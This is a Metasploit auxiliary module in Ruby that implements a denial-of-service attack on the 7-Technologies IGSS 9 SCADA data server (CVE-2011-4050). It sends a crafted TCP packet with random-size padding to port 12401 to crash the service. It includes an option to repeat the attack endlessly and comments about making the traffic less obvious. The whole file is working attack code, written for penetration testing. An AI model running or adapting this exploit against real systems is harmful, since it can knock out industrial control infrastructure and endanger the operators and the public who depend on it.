102 lines
2.9 KiB
Ruby
102 lines
2.9 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
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'Description' => %q{
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The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
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brought down by sending a crafted TCP packet to port 12401. This should also work
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for version <= 9.0.0.1120, but that version hasn't been tested.
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},
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'Author' =>
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[
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'jfa', # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2011-4050' ],
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[ 'OSVDB', '77976' ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf' ]
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],
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'DisclosureDate' => 'Dec 20 2011'
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))
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register_options([Opt::RPORT(12401)])
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register_options(
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[
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OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
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OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
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])
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end
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def run
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#
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#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
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#dos << Rex::Text.rand_text_alpha(5014)
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#
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# I should have looked at the other MSF modules before I started doing it the hard way.
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# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
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#
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count = datastore['COUNT']
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snore = datastore['SLEEP']
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times = 1
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# Someone wants to keep a good service down.
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if count == 0
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count = 1
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infinite = true
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end
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#
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# The port seems to stay open open until someone clicks "Close the program".
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# Once they click "Close the program" (Windows 7), the port becomes unavailable.
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#
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# However, even though it's open, it doesn't seem to handle any valid requests.
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#
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while count >= 1 do
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## Randomize the buffer size to make it a teeny tiny bit less obvious
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size = Random.new.rand(1024..5014)
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dos = "\x00\x04" #Funky size causes overflow
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dos << "\x01\x00\x34\x12"
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dos << "\x0D" #Opcode
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dos << "\x00\x00\x00\x00\x00\x00\x00"
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dos << "\x01" #Flag
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dos << "\x00\x00\x00\x01\x00\x00\x00"
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dos << Rex::Text.rand_text_alpha(size)
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begin
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connect
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sock.put(dos)
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print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
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disconnect
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rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
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print_status("Connection refused. Someone may have clicked 'Close the program'")
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end
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if infinite
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select(nil, nil, nil, snore)
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times += 1
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else
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select(nil, nil, nil, snore) if count > 1
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count -= 1
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times += 1
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end
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end
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end
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end
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